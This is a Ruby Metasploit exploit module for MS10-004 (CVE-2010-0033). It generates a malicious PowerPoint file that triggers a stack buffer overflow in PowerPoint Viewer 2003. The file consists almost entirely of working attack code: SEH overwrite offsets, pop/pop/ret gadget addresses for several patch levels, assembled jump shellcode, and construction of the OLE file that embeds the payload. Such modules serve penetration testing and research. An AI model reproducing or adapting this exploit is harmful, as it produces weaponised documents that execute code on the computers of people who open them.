##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/ole'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow vulnerability in the handling of
        the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,
        the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as
        Office 2004 for Mac, are vulnerable.

        NOTE: The vulnerable code path is not reachable on versions of Windows prior to
        Windows Vista.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'SkD',   # original discovery
          'Snake', # PoC
          'jduck'  # metasploit version
        ],
      'References'     =>
        [
          [ 'CVE', '2010-0033' ],
          [ 'OSVDB', '62241' ],
          [ 'MSB', 'MS10-004' ],
          [ 'ZDI', '10-017' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'DisableNops'   => true # no need
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested with various patch levels of PowerPoint Viewer 2003 (v6.0.2600.0)
          [ 'Microsoft PowerPoint Viewer 2003',
            {
              'SEHOffset' => 132,
              'PopPopRet' => 0x30056471 # pop/pop/ret from PPTVIEW.exe v11.0.5703.0
            }
          ],

          [ 'Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3',
            {
              'SEHOffset' => 132,
              'PopPopRet' => 0x3003c767 # pop/pop/ret from PPTVIEW.exe v11.0.8164.0
            }
          ],

=begin
          #
          # This is commented out because of ASLR. gdiplus is no good.
          #
          [ 'Microsoft PowerPoint Viewer 2003 (kb956500 or kb969615)',
            {
              'SEHOffset' => 132,
              #'PopPopRet' => 0x39827475 # pop/pop/ret from gdiplus.dll v11.0.8230.0
              'PopPopRet' => 0x69647475
            }
          ],
=end

          [ 'Microsoft PowerPoint Viewer 2003 (kb969615)',
            {
              'SEHOffset' => 132,
              'PopPopRet' => 0x300566d1 # pop/pop/ret from PPTVIEW.exe v11.0.8305.0
            }
          ],

          #
          # All that is needed for new targets are the two vars! msfpescan will help.
          #

          # crash on a deref path to heaven.
          [ 'Crash Target for Debugging',
            {
              'SEHOffset' => 132,
              'PopPopRet' => 0xdac0ffee
            }
          ]
        ],
      'DisclosureDate' => 'Feb 09 2010'))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ppt']),
        OptString.new('OUTPUTPATH', [ true, 'Path to output the file', Msf::Config.local_directory ])
      ])
  end

  def ppt_record(tag, data=nil, ver=0, inst=0)
    data ||= ''
    ret = ''
    verinst = (ver & 0xf) | (inst << 4)
    ret << [verinst, tag, data.length].pack('vvV')
    ret << data
    ret
  end

  def exploit

    print_status("Creating PowerPoint Document ...")

    username = Rex::Text.rand_text_alphanumeric(8+rand(8))

    # smash the stack, hit SEH, use the pop-pop-ret to execute code on the stack
    sploit = rand_text(target['SEHOffset'])
    sploit << generate_seh_record(target['PopPopRet'])
    # jump ahead into the next atom
    distance = 10
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+" + distance.to_s).encode_string

    # TextBytesAtom
    text_bytes_atom = ppt_record(0xfa8, sploit)
    text_bytes_atom[4,4] = [0xffffffff].pack('V') # ..f8 thru ..ff
    #text_bytes_atom << ppt_record(0xfa8, "\xcc" + ("A" * 2046) + "\xcc")
    text_bytes_atom << ppt_record(0xfa8, ("A" * 16) + payload.encoded)


    # SlidePersistAtom
    spa1_data = [2,0,0,0x80000000,0].pack('VVVVV')
    spa1 = ppt_record(0x3f3, spa1_data)

    # SlideListWithText (first)
    slwt1 = ppt_record(0xff0, spa1, 15, 1)

    # SlidePersistAtom
    spa2_data = ''
    spa2_data << [3,0,2,0x100,0].pack('VVVVV')

    # SlideListWithText container (2nd)
    slwt2_data = ''
    slwt2_data << ppt_record(0x3f3, spa2_data)
    # TextHeaderAtom
    txt_hdr_data = [6].pack('V') # textType
    slwt2_data << ppt_record(0xf9f, txt_hdr_data)
    slwt2_data << text_bytes_atom
    slwt2 = ppt_record(0xff0, slwt2_data, 15)


    # Document container
    doc_data = ''
    doc_data << slwt1
    doc_data << slwt2
    doc = ppt_record(0x3e8, doc_data, 15)


    # MainMaster container
    mdc_data = ppt_record(0xf003, '', 15)
    ppd_data = ppt_record(0xf002, mdc_data, 15)

    # TextMasterStyleAtom
    tmsa_data = [0].pack('v') # cLevels (none)

    mm_data = ''
    mm_data << ppt_record(0xfa3, tmsa_data)
    mm_data << ppt_record(0x40c, ppd_data, 15)
    mm = ppt_record(0x3f8, mm_data, 15)


    # assembled stream contents
    content = ''

    document_offset = content.length
    content << doc

    main_master_offset = content.length
    content << mm

    # PersistPtrIncrementalBlock
    start_num = 1
    count = 2
    ppib_data = [(start_num & 0xfffff) | (count << 20)].pack('V')
    ppib_data << [document_offset].pack('V')
    ppib_data << [main_master_offset].pack('V')
    ppib = ppt_record(0x1772, ppib_data)

    # Store offset and add it
    persist_ptr_incremental_block_offset = content.length
    content << ppib

    # UserEditAtom
    uea_data = ''
    uea_data << [0x100].pack('V')         # lastSlideIdRef
    uea_data << [0x1599,0,3].pack('vCC')  # version, minorVer, majorVer
    uea_data << [0].pack('V')             # offsetLastEdit
    uea_data << [persist_ptr_incremental_block_offset].pack('V')
    uea_data << [1].pack('V')             # docPersistIdRef
    uea_data << [3].pack('V')             # persistIdSeed
    uea_data << [1].pack('v')             # lastView
    uea_data << [0x31c5].pack('v')        # unused??
    uea = ppt_record(0xff5, uea_data)

    # Store offset and add it
    user_edit_atom_offset = content.length
    content << uea


    # Create the output file
    out = File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])
    stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
    if (not stg)
      fail_with(Failure::Unknown, 'Unable to create output file')
    end

    # PowerPoint Document stream
    stm = stg.create_stream("PowerPoint Document")
    if (not stm)
      fail_with(Failure::Unknown, 'Unable to create "PowerPoint Document" stream')
    end
    stm << content
    stm.close


    # CurrentUserAtom stream
    cua_data = ''
    cua_data << [0x14].pack('V')        # size
    cua_data << [0xe391c05f].pack('V')  # headerToken (not encrypted)
    cua_data << [user_edit_atom_offset].pack('V')
    cua_data << [username.length].pack('v')
    cua_data << [0x3f4].pack('v')       # docFileVersion
    cua_data << [3,0].pack('CC')        # majorVer, minorVer
    cua_data << [0x3b].pack('v')        # unused??
    cua_data << username
    cua_data << [8].pack('V')           # relVersion (1 master slide)
    cua_data << Rex::Text.to_unicode(username)

    current_user_stream = ppt_record(0xff6, cua_data)

    stm = stg.create_stream("Current User")
    if (not stm)
      fail_with(Failure::Unknown, 'Unable to create "Current User" stream')
    end
    stm << current_user_stream
    stm.close

    stg.close

    print_status("Generated output file #{out}")

  end
end